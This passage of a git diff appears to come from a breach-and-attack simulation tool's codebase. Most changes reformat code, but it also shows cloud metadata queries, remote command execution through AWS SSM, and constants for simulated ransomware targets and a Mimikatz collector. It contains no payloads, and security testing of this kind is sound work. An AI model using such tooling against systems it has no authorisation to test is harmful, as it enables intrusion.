TestOSCompatibility(object): - def test_os_compat(self, island_client): print() all_monkeys = island_client.get_all_monkeys_from_db() ips_that_communicated = [] for monkey in all_monkeys: - for ip in monkey['ip_addresses']: + for ip in monkey["ip_addresses"]: if ip in machine_list: ips_that_communicated.append(ip) break diff --git a/monkey/__init__.py b/monkey/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/__init__.py +++ b/monkey/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/common/BUILD b/monkey/common/BUILD index 90012116c..d7025695e 100644 --- a/monkey/common/BUILD +++ b/monkey/common/BUILD @@ -1 +1 @@ -dev \ No newline at end of file +release diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/common/cloud/__init__.py b/monkey/common/cloud/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/common/cloud/__init__.py +++ b/monkey/common/cloud/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 75dee4ce9..09d112480 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -1,16 +1,14 @@ import json import logging import re + import requests from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance -__author__ = 'itay.mizeretz' - - AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254" -AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) +AWS_LATEST_METADATA_URI_PREFIX = "http://{0}/latest/".format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) ACCOUNT_ID_KEY = "accountId" logger = logging.getLogger(__name__) @@ -20,6 +18,7 @@ class AwsInstance(CloudInstance): """ Class which gives useful information about the current instance you're on. """ + def is_instance(self): return self.instance_id is not None @@ -32,25 +31,36 @@ class AwsInstance(CloudInstance): self.account_id = None try: - response = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2) + response = requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 + ) self.instance_id = response.text if response else None self.region = self._parse_region( - requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text) + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" + ).text + ) except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).text) + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2 + ).text + ) except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: - logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) + logger.debug( + "Failed init of AwsInstance while getting dynamic instance data: {}".format(e) + ) @staticmethod def _parse_region(region_url_response): # For a list of regions, see: - # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html + # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts + # .RegionsAndAvailabilityZones.html # This regex will find any AWS region format string in the response. - re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' + re_phrase = r"((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])" finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) if finding: return finding[0] @@ -67,9 +77,11 @@ class AwsInstance(CloudInstance): def _extract_account_id(instance_identity_document_response): """ Extracts the account id from the dynamic/instance-identity/document metadata path. - Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more solutions, + Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more + solutions, in case Amazon break this mechanism. - :param instance_identity_document_response: json returned via the web page ../dynamic/instance-identity/document + :param instance_identity_document_response: json returned via the web page + ../dynamic/instance-identity/document :return: The account id """ return json.loads(instance_identity_document_response)[ACCOUNT_ID_KEY] diff --git a/monkey/common/cloud/aws/aws_service.py b/monkey/common/cloud/aws/aws_service.py index a42c2e1dd..4a9ded280 100644 --- a/monkey/common/cloud/aws/aws_service.py +++ b/monkey/common/cloud/aws/aws_service.py @@ -2,38 +2,40 @@ import logging import boto3 import botocore -from botocore.exceptions import ClientError from common.cloud.aws.aws_instance import AwsInstance -__author__ = ['itay.mizeretz', 'shay.nehmad'] - -INSTANCE_INFORMATION_LIST_KEY = 'InstanceInformationList' -INSTANCE_ID_KEY = 'InstanceId' -COMPUTER_NAME_KEY = 'ComputerName' -PLATFORM_TYPE_KEY = 'PlatformType' -IP_ADDRESS_KEY = 'IPAddress' +INSTANCE_INFORMATION_LIST_KEY = "InstanceInformationList" +INSTANCE_ID_KEY = "InstanceId" +COMPUTER_NAME_KEY = "ComputerName" +PLATFORM_TYPE_KEY = "PlatformType" +IP_ADDRESS_KEY = "IPAddress" logger = logging.getLogger(__name__) def filter_instance_data_from_aws_response(response): - return [{ - 'instance_id': x[INSTANCE_ID_KEY], - 'name': x[COMPUTER_NAME_KEY], - 'os': x[PLATFORM_TYPE_KEY].lower(), - 'ip_address': x[IP_ADDRESS_KEY] - } for x in response[INSTANCE_INFORMATION_LIST_KEY]] + return [ + { + "instance_id": x[INSTANCE_ID_KEY], + "name": x[COMPUTER_NAME_KEY], + "os": x[PLATFORM_TYPE_KEY].lower(), + "ip_address": x[IP_ADDRESS_KEY], + } + for x in response[INSTANCE_INFORMATION_LIST_KEY] + ] class AwsService(object): """ - A wrapper class around the boto3 client and session modules, which supplies various AWS services. + A wrapper class around the boto3 client and session modules, which supplies various AWS + services. This class will assume: 1. That it's running on an EC2 instance 2. That the instance is associated with the correct IAM role. See - https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details. + https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role + for details. """ region = None @@ -45,24 +47,8 @@ class AwsService(object): @staticmethod def get_client(client_type, region=None): return boto3.client( - client_type, - region_name=region if region is not None else AwsService.region) - - @staticmethod - def get_session(): - return boto3.session.Session() - - @staticmethod - def get_regions(): - return AwsService.get_session().get_available_regions('ssm') - - @staticmethod - def test_client(): - try: - AwsService.get_client('ssm').describe_instance_information() - return True - except ClientError: - return False + client_type, region_name=region if region is not None else AwsService.region + ) @staticmethod def get_instances(): @@ -70,7 +56,8 @@ class AwsService(object): Get the information for all instances with the relevant roles. This function will assume that it's running on an EC2 instance with the correct IAM role. - See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details. + See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam + -role for details. :raises: botocore.exceptions.ClientError if can't describe local instance information. :return: All visible instances from this instance diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index 969e4a8ca..859ab279f 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -8,7 +8,9 @@ from common.cloud.instance import CloudInstance from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT LATEST_AZURE_METADATA_API_VERSION = "2019-04-30" -AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION +AZURE_METADATA_SERVICE_URL = ( + "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION +) logger = logging.getLogger(__name__) @@ -16,8 +18,10 @@ logger = logging.getLogger(__name__) class AzureInstance(CloudInstance): """ Access to useful information about the current machine if it's an Azure VM. - Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service + Based on Azure metadata service: + https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service """ + def is_instance(self): return self._on_azure @@ -34,19 +38,25 @@ class AzureInstance(CloudInstance): self._on_azure = False try: - response = requests.get(AZURE_METADATA_SERVICE_URL, - headers={"Metadata": "true"}, - timeout=SHORT_REQUEST_TIMEOUT) + response = requests.get( + AZURE_METADATA_SERVICE_URL, + headers={"Metadata": "true"}, + timeout=SHORT_REQUEST_TIMEOUT, + ) # If not on cloud, the metadata URL is non-routable and the connection will fail. - # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. + # If on AWS, should get 404 since the metadata service URL is different, + # so bool(response) will be false. if response: logger.debug("Trying to parse Azure metadata.") self.try_parse_response(response) else: logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: - logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") + logger.debug( + "Failed to get response from Azure metadata service: This instance is not on " + "Azure." + ) def try_parse_response(self, response): try: diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py deleted file mode 100644 index 680af90ed..000000000 --- a/monkey/common/cloud/azure/test_azure_instance.py +++ /dev/null @@ -1,199 +0,0 @@ -import pytest -import requests -import requests_mock -import simplejson - -from common.cloud.azure.azure_instance import (AZURE_METADATA_SERVICE_URL, - AzureInstance) -from common.cloud.environment_names import Environment - - -GOOD_DATA = { - 'compute': {'azEnvironment': 'AZUREPUBLICCLOUD', - 'isHostCompatibilityLayerVm': 'true', - 'licenseType': 'Windows_Client', - 'location': 'westus', - 'name': 'examplevmname', - 'offer': 'Windows', - 'osProfile': {'adminUsername': 'admin', - 'computerName': 'examplevmname', - 'disablePasswordAuthentication': 'true'}, - 'osType': 'linux', - 'placementGroupId': 'f67c14ab-e92c-408c-ae2d-da15866ec79a', - 'plan': {'name': 'planName', - 'product': 'planProduct', - 'publisher': 'planPublisher'}, - 'platformFaultDomain': '36', - 'platformUpdateDomain': '42', - 'publicKeys': [{'keyData': 'ssh-rsa 0', - 'path': '/home/user/.ssh/authorized_keys0'}, - {'keyData': 'ssh-rsa 1', - 'path': '/home/user/.ssh/authorized_keys1'}], - 'publisher': 'RDFE-Test-Microsoft-Windows-Server-Group', - 'resourceGroupName': 'macikgo-test-may-23', - 'resourceId': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/' - 'providers/Microsoft.Compute/virtualMachines/examplevmname', - 'securityProfile': {'secureBootEnabled': 'true', - 'virtualTpmEnabled': 'false'}, - 'sku': 'Windows-Server-2012-R2-Datacenter', - 'storageProfile': {'dataDisks': [{'caching': 'None', - 'createOption': 'Empty', - 'diskSizeGB': '1024', - 'image': {'uri': ''}, - 'lun': '0', - 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' - 'resourceGroups/macikgo-test-may-23/providers/' - 'Microsoft.Compute/disks/exampledatadiskname', - 'storageAccountType': 'Standard_LRS'}, - 'name': 'exampledatadiskname', - 'vhd': {'uri': ''}, - 'writeAcceleratorEnabled': 'false'}], - 'imageReference': {'id': '', - 'offer': 'UbuntuServer', - 'publisher': 'Canonical', - 'sku': '16.04.0-LTS', - 'version': 'latest'}, - 'osDisk': {'caching': 'ReadWrite', - 'createOption': 'FromImage', - 'diskSizeGB': '30', - 'diffDiskSettings': {'option': 'Local'}, - 'encryptionSettings': {'enabled': 'false'}, - 'image': {'uri': ''}, - 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' - 'resourceGroups/macikgo-test-may-23/providers/' - 'Microsoft.Compute/disks/exampleosdiskname', - 'storageAccountType': 'Standard_LRS'}, - 'name': 'exampleosdiskname', - 'osType': 'Linux', - 'vhd': {'uri': ''}, - 'writeAcceleratorEnabled': 'false'}}, - 'subscriptionId': 'xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx', - 'tags': 'baz:bash;foo:bar', - 'version': '15.05.22', - 'vmId': '02aab8a4-74ef-476e-8182-f6d2ba4166a6', - 'vmScaleSetName': 'crpteste9vflji9', - 'vmSize': 'Standard_A3', - 'zone': ''}, - 'network': {'interface': [{'ipv4': {'ipAddress': [{'privateIpAddress': '10.144.133.132', - 'publicIpAddress': ''}], - 'subnet': [{'address': '10.144.133.128', - 'prefix': '26'}]}, - 'ipv6': {'ipAddress': []}, - 'macAddress': '0011AAFFBB22'}]} - } - - -BAD_DATA_NOT_JSON = '\n\n\n\n\nWaiting...\n\n\n \n\n' - - -BAD_DATA_JSON = {'': ''} - - -def get_test_azure_instance(url, **kwargs): - with requests_mock.Mocker() as m: - m.get(url, **kwargs) - test_azure_instance_object = AzureInstance() - return test_azure_instance_object - - -# good request, good data -@pytest.fixture -def good_data_mock_instance(): - return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA)) - - -def test_is_instance_good_data(good_data_mock_instance): - assert good_data_mock_instance.is_instance() - - -def test_get_cloud_provider_name_good_data(good_data_mock_instance): - assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE - - -def test_try_parse_response_good_data(good_data_mock_instance): - assert good_data_mock_instance.instance_name == GOOD_DATA['compute']['name'] - assert good_data_mock_instance.instance_id == GOOD_DATA['compute']['vmId'] - assert good_data_mock_instance.location == GOOD_DATA['compute']['location'] - - -# good request, bad data (json) -@pytest.fixture -def bad_data_json_mock_instance(): - return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON)) - - -def test_is_instance_bad_data_json(bad_data_json_mock_instance): - assert bad_data_json_mock_instance.is_instance() is False - - -def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance): - assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE - - -def test_instance_attributes_bad_data_json(bad_data_json_mock_instance): - assert bad_data_json_mock_instance.instance_name is None - assert bad_data_json_mock_instance.instance_id is None - assert bad_data_json_mock_instance.location is None - - -# good request, bad data (not json) -@pytest.fixture -def bad_data_not_json_mock_instance(): - return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON) - - -def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance): - assert bad_data_not_json_mock_instance.is_instance() is False - - -def test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance): - assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE - - -def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance): - assert bad_data_not_json_mock_instance.instance_name is None - assert bad_data_not_json_mock_instance.instance_id is None - assert bad_data_not_json_mock_instance.location is None - - -# bad request -@pytest.fixture -def bad_request_mock_instance(): - return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException) - - -def test_is_instance_bad_request(bad_request_mock_instance): - assert bad_request_mock_instance.is_instance() is False - - -def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): - assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE - - -def test_instance_attributes_bad_request(bad_request_mock_instance): - assert bad_request_mock_instance.instance_name is None - assert bad_request_mock_instance.instance_id is None - assert bad_request_mock_instance.location is None - - -# not found request -@pytest.fixture -def not_found_request_mock_instance(): - return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404) - - -def test_is_instance_not_found_request(not_found_request_mock_instance): - assert not_found_request_mock_instance.is_instance() is False - - -def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): - assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE - - -def test_instance_attributes_not_found_request(not_found_request_mock_instance): - assert not_found_request_mock_instance.instance_name is None - assert not_found_request_mock_instance.instance_id is None - assert not_found_request_mock_instance.location is None diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index 6c14500db..1fc208165 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -8,14 +8,15 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT logger = logging.getLogger(__name__) - GCP_METADATA_SERVICE_URL = "http://metadata.google.internal/" class GcpInstance(CloudInstance): """ - Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce + Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving + -metadata#runninggce """ + def is_instance(self): return self._on_gcp @@ -37,9 +38,17 @@ class GcpInstance(CloudInstance): logger.warning("Got unexpected GCP Metadata format") else: if not response.headers["Metadata-Flavor"] == "Google": - logger.warning("Got unexpected Metadata flavor: {}".format(response.headers["Metadata-Flavor"])) + logger.warning( + "Got unexpected Metadata flavor: {}".format( + response.headers["Metadata-Flavor"] + ) + ) else: - logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code)) + logger.warning( + "On GCP, but metadata response not ok: {}".format(response.status_code) + ) except requests.RequestException: - logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP") + logger.debug( + "Failed to get response from GCP metadata service: This instance is not on GCP" + ) self._on_gcp = False diff --git a/monkey/common/cloud/instance.py b/monkey/common/cloud/instance.py index abe0c7910..f0da19359 100644 --- a/monkey/common/cloud/instance.py +++ b/monkey/common/cloud/instance.py @@ -7,6 +7,7 @@ class CloudInstance(object): The current machine can be a cloud instance (for example EC2 instance or Azure VM). """ + def is_instance(self) -> bool: raise NotImplementedError() diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py index 4db862a4a..091b51114 100644 --- a/monkey/common/cloud/scoutsuite_consts.py +++ b/monkey/common/cloud/scoutsuite_consts.py @@ -2,8 +2,8 @@ from enum import Enum class CloudProviders(Enum): - AWS = 'aws' - AZURE = 'azure' - GCP = 'gcp' - ALIBABA = 'aliyun' - ORACLE = 'oci' + AWS = "aws" + AZURE = "azure" + GCP = "gcp" + ALIBABA = "aliyun" + ORACLE = "oci" diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py index 3499f8d14..0a6c5f3cc 100644 --- a/monkey/common/cmd/aws/aws_cmd_result.py +++ b/monkey/common/cmd/aws/aws_cmd_result.py @@ -1,7 +1,5 @@ from common.cmd.cmd_result import CmdResult -__author__ = 'itay.mizeretz' - class AwsCmdResult(CmdResult): """ @@ -10,16 +8,22 @@ class AwsCmdResult(CmdResult): def __init__(self, command_info): super(AwsCmdResult, self).__init__( - self.is_successful(command_info, True), command_info['ResponseCode'], command_info['StandardOutputContent'], - command_info['StandardErrorContent']) + self.is_successful(command_info, True), + command_info["ResponseCode"], + command_info["StandardOutputContent"], + command_info["StandardErrorContent"], + ) self.command_info = command_info @staticmethod def is_successful(command_info, is_timeout=False): """ - Determines whether the command was successful. If it timed out and was still in progress, we assume it worked. + Determines whether the command was successful. If it timed out and was still in progress, + we assume it worked. :param command_info: Command info struct (returned by ssm.get_command_invocation) :param is_timeout: Whether the given command timed out :return: True if successful, False otherwise. """ - return (command_info['Status'] == 'Success') or (is_timeout and (command_info['Status'] == 'InProgress')) + return (command_info["Status"] == "Success") or ( + is_timeout and (command_info["Status"] == "InProgress") + ) diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index 1ab680c4d..f4b8cd7bc 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -5,8 +5,6 @@ from common.cmd.aws.aws_cmd_result import AwsCmdResult from common.cmd.cmd_runner import CmdRunner from common.cmd.cmd_status import CmdStatus -__author__ = 'itay.mizeretz' - logger = logging.getLogger(__name__) @@ -19,7 +17,7 @@ class AwsCmdRunner(CmdRunner): super(AwsCmdRunner, self).__init__(is_linux) self.instance_id = instance_id self.region = region - self.ssm = AwsService.get_client('ssm', region) + self.ssm = AwsService.get_client("ssm", region) def query_command(self, command_id): return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) @@ -28,15 +26,18 @@ class AwsCmdRunner(CmdRunner): return AwsCmdResult(command_info) def get_command_status(self, command_info): - if command_info['Status'] == 'InProgress': + if command_info["Status"] == "InProgress": return CmdStatus.IN_PROGRESS - elif command_info['Status'] == 'Success': + elif command_info["Status"] == "Success": return CmdStatus.SUCCESS else: return CmdStatus.FAILURE def run_command_async(self, command_line): doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" - command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]}, - InstanceIds=[self.instance_id]) - return command_res['Command']['CommandId'] + command_res = self.ssm.send_command( + DocumentName=doc_name, + Parameters={"commands": [command_line]}, + InstanceIds=[self.instance_id], + ) + return command_res["Command"]["CommandId"] diff --git a/monkey/common/cmd/cmd.py b/monkey/common/cmd/cmd.py index 8cb2177a2..6daa970a6 100644 --- a/monkey/common/cmd/cmd.py +++ b/monkey/common/cmd/cmd.py @@ -1,6 +1,3 @@ -__author__ = 'itay.mizeretz' - - class Cmd(object): """ Class representing a command diff --git a/monkey/common/cmd/cmd_result.py b/monkey/common/cmd/cmd_result.py index d3039736f..85179a053 100644 --- a/monkey/common/cmd/cmd_result.py +++ b/monkey/common/cmd/cmd_result.py @@ -1,6 +1,3 @@ -__author__ = 'itay.mizeretz' - - class CmdResult(object): """ Class representing a command result diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index 5cc40ca24..e612f4efb 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -2,12 +2,9 @@ import logging import time from abc import abstractmethod -from common.cmd.cmd import Cmd from common.cmd.cmd_result import CmdResult from common.cmd.cmd_status import CmdStatus -__author__ = 'itay.mizeretz' - logger = logging.getLogger(__name__) @@ -21,8 +18,10 @@ class CmdRunner(object): * command id - any unique identifier of a command which was already run * command result - represents the result of running a command. Always of type CmdResult * command status - represents the current status of a command. Always of type CmdStatus - * command info - Any consistent structure representing additional information of a command which was already run - * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field + * command info - Any consistent structure representing additional information of a command + which was already run + * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' + as a field * instance_id - any unique identifier of an instance (machine). Can be of any format """ @@ -34,22 +33,13 @@ class CmdRunner(object): def __init__(self, is_linux): self.is_linux = is_linux - def run_command(self, command_line, timeout=DEFAULT_TIMEOUT): - """ - Runs the given command on the remote machine - :param command_line: The command line to run - :param timeout: Timeout in seconds for command. - :return: Command result - """ - c_id = self.run_command_async(command_line) - return self.wait_commands([Cmd(self, c_id)], timeout)[1] - @staticmethod def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res): """ Run multiple commands on various instances :param instances: List of instances. - :param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd + :param inst_to_cmd: Function which receives an instance, runs a command asynchronously + and returns Cmd :param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult and returns a parsed result (of any format) :return: Dictionary with 'instance_id' as key and parsed result as value @@ -64,7 +54,7 @@ class CmdRunner(object): command_result_pairs = CmdRunner.wait_commands(list(command_instance_dict.keys())) for command, result in command_result_pairs: instance = command_instance_dict[command] - instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result) + instance_results[instance["instance_id"]] = inst_n_cmd_res_to_res(instance, result) return instance_results @@ -91,7 +81,9 @@ class CmdRunner(object): results = [] while (curr_time - init_time < timeout) and (len(commands) != 0): - for command in list(commands): # list(commands) clones the list. We do so because we remove items inside + for command in list( + commands + ): # list(commands) clones the list. We do so because we remove items inside CmdRunner._process_command(command, commands, results, True) time.sleep(CmdRunner.WAIT_SLEEP_TIME) @@ -102,8 +94,11 @@ class CmdRunner(object): for command, result in results: if not result.is_success: - logger.error('The following command failed: `%s`. status code: %s', - str(command[1]), str(result.status_code)) + logger.error( + "The following command failed: `%s`. status code: %s", + str(command[1]), + str(result.status_code), + ) return results @@ -148,11 +143,13 @@ class CmdRunner(object): c_id = command.cmd_id try: command_info = c_runner.query_command(c_id) - if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS: + if (not should_process_only_finished) or c_runner.get_command_status( + command_info + ) != CmdStatus.IN_PROGRESS: commands.remove(command) results.append((command, c_runner.get_command_result(command_info))) except Exception: - logger.exception('Exception while querying command: `%s`', str(c_id)) + logger.exception("Exception while querying command: `%s`", str(c_id)) if not should_process_only_finished: commands.remove(command) results.append((command, CmdResult(False))) diff --git a/monkey/common/cmd/cmd_status.py b/monkey/common/cmd/cmd_status.py index 2fc9cc168..6a9bbae71 100644 --- a/monkey/common/cmd/cmd_status.py +++ b/monkey/common/cmd/cmd_status.py @@ -1,7 +1,5 @@ from enum import Enum -__author__ = 'itay.mizeretz' - class CmdStatus(Enum): IN_PROGRESS = 0 diff --git a/monkey/common/common_consts/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py index 4fef6b11b..91f289218 100644 --- a/monkey/common/common_consts/api_url_consts.py +++ b/monkey/common/common_consts/api_url_consts.py @@ -1 +1 @@ -T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download' +T1216_PBA_FILE_DOWNLOAD_PATH = "/api/t1216-pba/download" diff --git a/monkey/common/common_consts/network_consts.py b/monkey/common/common_consts/network_consts.py index b194c9421..8966c23d7 100644 --- a/monkey/common/common_consts/network_consts.py +++ b/monkey/common/common_consts/network_consts.py @@ -1 +1 @@ -ES_SERVICE = 'elastic-search-9200' +ES_SERVICE = "elastic-search-9200" diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index c93cb2537..175a054e1 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -4,4 +4,3 @@ ENVIRONMENT_COLLECTOR = "EnvironmentCollector" PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" AZURE_CRED_COLLECTOR = "AzureCollector" -SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector" diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index 70066d290..8c39abd74 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -1,10 +1,11 @@ class TelemCategoryEnum: - EXPLOIT = 'exploit' - POST_BREACH = 'post_breach' - SCAN = 'scan' - SCOUTSUITE = 'scoutsuite' - STATE = 'state' - SYSTEM_INFO = 'system_info' - TRACE = 'trace' - TUNNEL = 'tunnel' - ATTACK = 'attack' + EXPLOIT = "exploit" + POST_BREACH = "post_breach" + SCAN = "scan" + SCOUTSUITE = "scoutsuite" + STATE = "state" + SYSTEM_INFO = "system_info" + TRACE = "trace" + TUNNEL = "tunnel" + ATTACK = "attack" + FILE_ENCRYPTION = "file_encryption" diff --git a/monkey/common/common_consts/time_formats.py b/monkey/common/common_consts/time_formats.py new file mode 100644 index 000000000..d150ce46e --- /dev/null +++ b/monkey/common/common_consts/time_formats.py @@ -0,0 +1,3 @@ +# Default time format used in the application, follows European standard. +# Example: 1992-03-04 10:32:05 +DEFAULT_TIME_FORMAT = "%Y-%m-%d %H:%M:%S" diff --git a/monkey/common/common_consts/validation_formats.py b/monkey/common/common_consts/validation_formats.py index 2f04dbe21..41a460a8a 100644 --- a/monkey/common/common_consts/validation_formats.py +++ b/monkey/common/common_consts/validation_formats.py @@ -1,3 +1,5 @@ # Defined in UI on ValidationFormats.js IP_RANGE = "ip-range" IP = "ip" +VALID_RANSOMWARE_TARGET_PATH_LINUX = "valid-ransomware-target-path-linux" +VALID_RANSOMWARE_TARGET_PATH_WINDOWS = "valid-ransomware-target-path-windows" diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index f0a624bdf..6df648e00 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -1,8 +1,10 @@ """ -This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and +This file contains all the static data relating to Zero Trust. It is mostly used in the zero +trust report generation and in creating findings. -This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses. +This file contains static mappings between zero trust components such as: pillars, principles, +tests, statuses. Some of the mappings are computed when this module is loaded. """ @@ -13,7 +15,15 @@ DEVICES = "Devices" NETWORKS = "Networks" PEOPLE = "People" DATA = "Data" -PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) +PILLARS = ( + DATA, + PEOPLE, + NETWORKS, + DEVICES, + WORKLOADS, + VISIBILITY_ANALYTICS, + AUTOMATION_ORCHESTRATION, +) STATUS_UNEXECUTED = "Unexecuted" STATUS_PASSED = "Passed" @@ -55,7 +65,7 @@ TESTS = ( TEST_SCOUTSUITE_SECURE_AUTHENTICATION, TEST_SCOUTSUITE_RESTRICTIVE_POLICIES, TEST_SCOUTSUITE_LOGGING, - TEST_SCOUTSUITE_SERVICE_SECURITY + TEST_SCOUTSUITE_SERVICE_SECURITY, ) PRINCIPLE_DATA_CONFIDENTIALITY = "data_transit" @@ -72,14 +82,18 @@ PRINCIPLES = { PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.", PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.", PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.", - PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.", + PRINCIPLE_ENDPOINT_SECURITY: "Use 